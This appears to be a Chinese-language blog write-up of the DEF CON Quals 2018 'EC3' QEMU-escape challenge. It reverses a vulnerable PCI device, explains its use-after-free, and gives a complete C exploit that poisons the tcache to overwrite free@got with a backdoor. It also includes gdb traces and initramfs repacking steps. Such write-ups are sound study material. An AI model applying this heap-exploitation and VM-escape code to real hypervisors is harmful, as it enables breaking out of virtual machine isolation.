目錄
  1. 1. 前言
  2. 2. 题目
  3. 3. 环境安装
  4. 4. 静态分析
    1. 4.1. 确定设备
    2. 4.2. 查看ooo_mmio_read函数
    3. 4.3. 查看ooo_mmio_write函数
    4. 4.4. 攻击思路
  5. 5. 动态分析
  6. 6. 总结
  7. 7. Reference
DefconQuals-2018-EC3

前言

这道题是一道堆相关的题目,原题是在Ubuntu16的环境下面,这里为了降低难度,把重点放在qemu上,选择了Ubuntu18的环境。

题目

1
there's a vulnerable PCI device in the qemu binary. players have to write a kernel driver for the ubuntu kernel that is there and then they have to exploit the qemu to read flag off the fsystem.

官方描述,通过虚拟机逃逸读取flag。

查看文件列表

1
2
3
4
5
6
7
8
9
-rw-r--r-- 1 kangel kangel   262144 5月  11  2018 bios-256k.bin
-rw-r--r-- 1 kangel kangel 240128 5月 11 2018 efi-e1000.rom
-rw-r--r-- 1 kangel kangel 1800548 11月 28 16:41 initramfs-busybox-x86_64.cpioz
-rw-r--r-- 1 kangel kangel 9216 5月 11 2018 kvmvapic.bin
-rw-r--r-- 1 kangel kangel 1536 5月 11 2018 linuxboot_dma.bin
-rwxr-xr-x 1 kangel kangel 13541528 5月 12 2018 qemu-system-x86_64
-rwxr-xr-x 1 kangel kangel 187 11月 28 16:26 run.sh
-rw-r--r-- 1 kangel kangel 38912 5月 11 2018 vgabios-stdvga.bin
-rw------- 1 kangel kangel 7144816 5月 11 2018 vmlinuz-4.4.0-119-generic

cat run.sh查看启动脚本,给了文件系统,ooo应该就是有漏洞的pci设备了

1
2
3
4
5
6
7
#!/bin/sh
./qemu-system-x86_64 \
-initrd ./initramfs-busybox-x86_64.cpio.gz \
-nographic \
-kernel ./vmlinuz-4.4.0-119-generic \
-append "priority=low console=ttyS0" \
-device ooo

ida载入qemu-system-x86_64,搜索ooo发现没有相关函数,file一下

1
2
3
4
➜ file qemu-system-x86_64
qemu-system-x86_64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=b6c6ab3e87201dc5d18373dee7bee760367a8ffa, stripped

可以看到qemu-system-x86_64stripped,符号被去掉了。

环境安装

在Ubuntu 18 执行sudo ./run.sh的出现以下错误,原因是缺少某些动态链接库

1
./qemu-system-x86_64: error while loading shared libraries: libiscsi.so.2: cannot open shared object file: No such file or directory

ldd ./qemu-system-x86_64|grep not 查看缺少的动态链接库,发现缺少libiscsi.so.2libpng12.so.0libxenctrl-4.6.so 。安装方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#libiscsi
git clone https://github.com/sahlberg/libiscsi.git
./autogen.sh
./configure
make
sudo make install
cp /usr/lib/x86_64-linux-gnu/libiscsi.so.7 /lib/libiscsi.so.2

#libpng12
sudo wget -O /tmp/libpng12.deb http://mirrors.kernel.org/ubuntu/pool/main/libp/libpng/libpng12-0_1.2.54-1ubuntu1_amd64.deb
sudo dpkg -i /tmp/libpng12.deb
sudo rm /tmp/libpng12.deb

#libxen
sudo wget -O /tmp/libxen.deb http://mirrors.kernel.org/ubuntu/pool/main/x/xen/libxen-4.6_4.6.5-0ubuntu1.4_amd64.deb
sudo dpkg -i /tmp/libxen.deb
sudo rm /tmp/libxen.deb

然后就可以正常运行sudo ./run.sh

静态分析

确定设备

在ida中搜索ooo_class_init来找到ooo_class_init函数

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall ooo_class_init(__int64 a1)
{
__int64 result; // rax

result = sub_868F66(a1, "pci-device", "hw/misc/oooverflow.c", 336LL, "ooo_class_init");
*(_QWORD *)(result + 192) = pci_ooo_realize;
*(_QWORD *)(result + 200) = 0LL;
*(_WORD *)(result + 224) = 0x420;
*(_WORD *)(result + 226) = 0x1337;
*(_BYTE *)(result + 228) = 0x69;
*(_WORD *)(result + 230) = 0xFF;
return result;
}

通过lspci可以确定00:04.0ooo设备

1
2
3
4
5
6
7
8
/ # lspci
00:00.0 Class 0600: 8086:1237
00:01.0 Class 0601: 8086:7000
00:01.1 Class 0101: 8086:7010
00:01.3 Class 0680: 8086:7113
00:02.0 Class 0300: 1234:1111
00:03.0 Class 0200: 8086:100e
00:04.0 Class 00ff: 0420:1337

查看resource文件可以发现mmio的大小为0x1000000,没有pmio

1
2
/ # cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
0x00000000fb000000 0x00000000fbffffff 0x0000000000040200

ooo_class_init函数里面可以确定0x6E64A5函数为pci_ooo_realize ,继续往上找可以确定0x6E613Cooo_mmio_read函数以及0x6E61F4ooo_mmio_write函数。

查看ooo_mmio_read函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall ooo_mmio_read(__int64 a1, int addr, unsigned int size)
{
unsigned int v4; // [rsp+34h] [rbp-1Ch]
__int64 dest; // [rsp+38h] [rbp-18h]
__int64 v6; // [rsp+40h] [rbp-10h]
unsigned __int64 v7; // [rsp+48h] [rbp-8h]

v7 = __readfsqword(0x28u);
v6 = a1;
dest = 0x42069LL;
v4 = (addr & 0xF0000u) >> 16;
if ( (addr & 0xF00000u) >> 20 != 15 && qword_1317940[v4] )
memcpy(&dest, (char *)qword_1317940[v4] + (signed __int16)addr, size);
return dest;
}

可以看到(addr & 0xF0000u)为idx,addr的低16位为offset。当(addr & 0xF00000u) >> 20不为15时,将qword_1317940[idx] + offset中的数据拷贝出来赋值给dest,否则dest0x42069,返回dest

查看ooo_mmio_write函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void __fastcall ooo_mmio_write(__int64 a1, __int64 addr, __int64 var, unsigned int size)
{
unsigned int v4; // eax
char n[12]; // [rsp+4h] [rbp-3Ch]
__int64 v6; // [rsp+10h] [rbp-30h]
__int64 v7; // [rsp+18h] [rbp-28h]
__int16 v8; // [rsp+22h] [rbp-1Eh]
int i; // [rsp+24h] [rbp-1Ch]
unsigned int v10; // [rsp+28h] [rbp-18h]
unsigned int v11; // [rsp+2Ch] [rbp-14h]
unsigned int v12; // [rsp+34h] [rbp-Ch]
__int64 v13; // [rsp+38h] [rbp-8h]

v7 = a1;
v6 = addr;
*(_QWORD *)&n[4] = var;
v13 = a1;
v10 = ((unsigned int)addr & 0xF00000) >> 20;
v4 = ((unsigned int)addr & 0xF00000) >> 20;
switch ( v4 )
{
case 1u:
free(qword_1317940[((unsigned int)v6 & 0xF0000) >> 16]);
break;
case 2u:
v12 = ((unsigned int)v6 & 0xF0000) >> 16;
v8 = v6;
memcpy((char *)qword_1317940[v12] + (signed __int16)v6, &n[4], size);
break;
case 0u:
v11 = ((unsigned int)v6 & 0xF0000) >> 16;
if ( v11 == 15 )
{
for ( i = 0; i <= 14; ++i )
qword_1317940[i] = malloc(8LL * *(_QWORD *)&n[4]);
}
else
{
qword_1317940[v11] = malloc(8LL * *(_QWORD *)&n[4]);
}
break;
}
}

((unsigned int)addr & 0xF00000) >> 20作为cmd((unsigned int)v6 & 0xF0000) >> 16作为idx当:

cmd = 1: free掉qword_1317940[idx],但是并没有清零

cmd = 2: 将val写入到qword_1317940[idx] + offset

cmd = 0: malloc一个size为val的堆块

攻击思路

很明显的一个堆题的菜单,并且存在uaf漏洞。我们还可以发现sub_6E65F9为后门可以cat ./flag,攻击思路如下:、

  1. 申请堆块
  2. 释放一个堆块
  3. 将释放的堆块edit为free_got=0x11301A0
  4. 两次malloc
  5. 将backboor写进第二次malloc空间,即可将free函数地址覆盖为后门函数
  6. free堆块,出发漏洞,get flag

动态分析

为了方便,我们创建一个gdb脚本debug.txt

1
2
3
4
5
6
7
b *0x6E613C
b *0x6E61F4
run -initrd ./initramfs-busybox-x86_64.cpio.gz \
-nographic \
-kernel ./vmlinuz-4.4.0-119-generic \
-append "priority=low console=ttyS0" \
-device ooo\

gdb调试qemu,执行source debug.txt,然后执行./exp。exp内容如下:

malloc大小为10的堆块,查看buffer内存

1
2
3
4
5
6
Breakpoint *0x6E61F4
pwndbg> x/20gx 0x1317940
0x1317940: 0x00007fffd01053a0 0x0000000000000000 #malloc
0x1317950: 0x0000000000000000 0x0000000000000000
0x1317960: 0x0000000000000000 0x0000000000000000
0x1317970: 0x0000000000000000 0x0000000000000000

free掉该堆块,查看tcache

1
2
3
pwndbg> bins
tcachebins
32 [ 4]: 0x7fffd01053a0 —▸ 0x7fffd00fd1e0 —▸ 0x7fffd00fd120 —▸ 0x7fffd00fc8e0 ◂— 0x0

由于存在uaf,可以edit刚才free掉的堆块内容为free函数的got

1
2
3
pwndbg> bins
tcachebins
32 [ 4]: 0x7fffd01053a0 —▸ 0x11301a0 (free@got.plt) —▸ 0x7ffff31cb950 (free) ◂— push r15

进行两次malloc,查看buffer内存

1
2
3
4
Breakpoint *0x6E61F4
pwndbg> x/20gx 0x1317940
0x1317940: 0x00007fffd01053a0 0x00000000011301a0
0x1317950: 0x0000000000000000 0x0000000000000000

edit第二个堆块的内容,即修改free函数got表的内容,改为后门地址

1
2
pwndbg> x/gx 0x11301a0
0x11301a0 <free@got.plt>: 0x00000000006e65f9

free操作,获取flag

1
2
3
4
5
6
/ # ./exp
mmio_mem @ 0x7fa479af3000
step1 malloc a chunk
step2 free the chunk to tcache
step3 edit the freed chunk
flag{you_can_escape_from_it}

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

unsigned char* mmio_mem;

void die(const char* msg)
{
perror(msg);
exit(-1);
}

void mmio_write(uint64_t addr, uint64_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}

void mmio_malloc(uint8_t idx, uint32_t size)
{
size = size/8;

uint32_t addr=(idx<<16)|(0<<20);
uint32_t value=size;
mmio_write(addr,value);
}

void mmio_free(uint8_t idx)
{
uint32_t addr=(idx<<16)|0x100000;
uint32_t value=0;

mmio_write(addr, value);
}

void mmio_edit(uint8_t idx, uint16_t offset, uint32_t data)
{
uint32_t addr=(idx<<16)|(0x200000)|(offset);
uint32_t value = data;

mmio_write(addr, value);
}

int main(int argc, char *argv[])
{
uint32_t backdoor_addr = 0x6E65F9;
int i;
// Open and map I/O memory for the ooo device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

printf("mmio_mem @ %p\n", mmio_mem);
printf("step1 malloc a chunk\n");
mmio_malloc(0,0x10); //第一步
printf("step2 free the chunk to tcache\n");
mmio_free(0); //第二步
printf("step3 edit the freed chunk\n");
uint32_t free_got=0x11301A0;
mmio_edit(0,0,free_got); //第三步
mmio_edit(0,4,0);
mmio_malloc(1,0x10); //第四步
mmio_malloc(1,0x10);
mmio_edit(1,0,backdoor_addr); //第五步
mmio_edit(1,4,0);
mmio_free(0); //第六步
}

编译脚本

1
gcc -static -O0 exp.c -o exp

最后一个问题,如何将exp传进去。可以看到给了文件系统cpio.gz,于是可以先解包,把exp放进去然后重新打包,具体步骤如下:

1
2
3
4
5
6
7
8
9
10
mkdir core
cd core
mv ../initramfs-busybox-x86_64.cpio.gz ./
gunzip initramfs-busybox-x86_64.cpio.gz
cpio -idm < initramfs-busybox-x86_64.cpio

cp ../exp ./
find . | cpio -o --format=newc > ../initramfs-busybox-x86_64.cpio
cd ..
gzip initramfs-busybox-x86_64.cpio

总结

这是一道与对相关的qemu escape,首先必须熟悉uaf漏洞,以及tcache机制。原题是在Ubuntu 16的环境中,需要利用fastbin attack。总体来说这道题难点有两个:一是符号表去掉了需要逆向恢复,第二点。。。没有第二点了,人家都给了后门,逆向出来基本就差不多了。

Reference

https://uaf.io/exploitation/2018/05/13/DefconQuals-2018-EC3.html

https://xz.aliyun.com/t/6778

文章作者: kangel
文章鏈接: https://j-kangel.github.io/2019/11/29/DefconQuals-2018-EC3/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL